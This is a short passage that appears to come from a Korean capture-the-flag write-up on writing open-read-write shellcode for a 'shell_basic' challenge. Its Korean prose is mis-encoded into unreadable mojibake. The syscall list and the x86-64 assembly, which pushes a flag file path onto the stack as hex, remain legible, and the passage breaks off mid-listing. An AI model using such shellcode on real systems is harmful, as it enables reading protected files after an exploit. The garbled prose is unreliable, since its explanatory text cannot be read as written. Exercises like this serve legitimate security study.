1. mycode ์ด์ ๋ธ๋ฆฌ ์์ฑํ๊ธฐ ์ด ๋ฌธ์ ์์ orw๋ฅผ ํ๊ธฐ ์ํด์๋ ์๋์ ๊ฐ์ syscall์ด ํ์ํ๋ค. 1. open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL) 2. read(fd, buf, 0x30) 3. write(1, buf, 0x30) ๋ฐ๋ผ์ ์๋ฅผ ์ํํ๋ ์ด์ ๋ธ๋ฆฌ๋ฅผ ์๋์ ๊ฐ์ด ์์ฑํ๋ค. "/home/shell_basic/flag_name_is_loooooong"์ hex๋ฅผ stack์ pushํ๊ธฐ xor rax, rax push rax mov rax, 0x676e6f6f6f6f6f6f push rax mov rax, 0x6c5f73695f656d61 push rax mov rax, 0x6e5f67616c662f63 push ..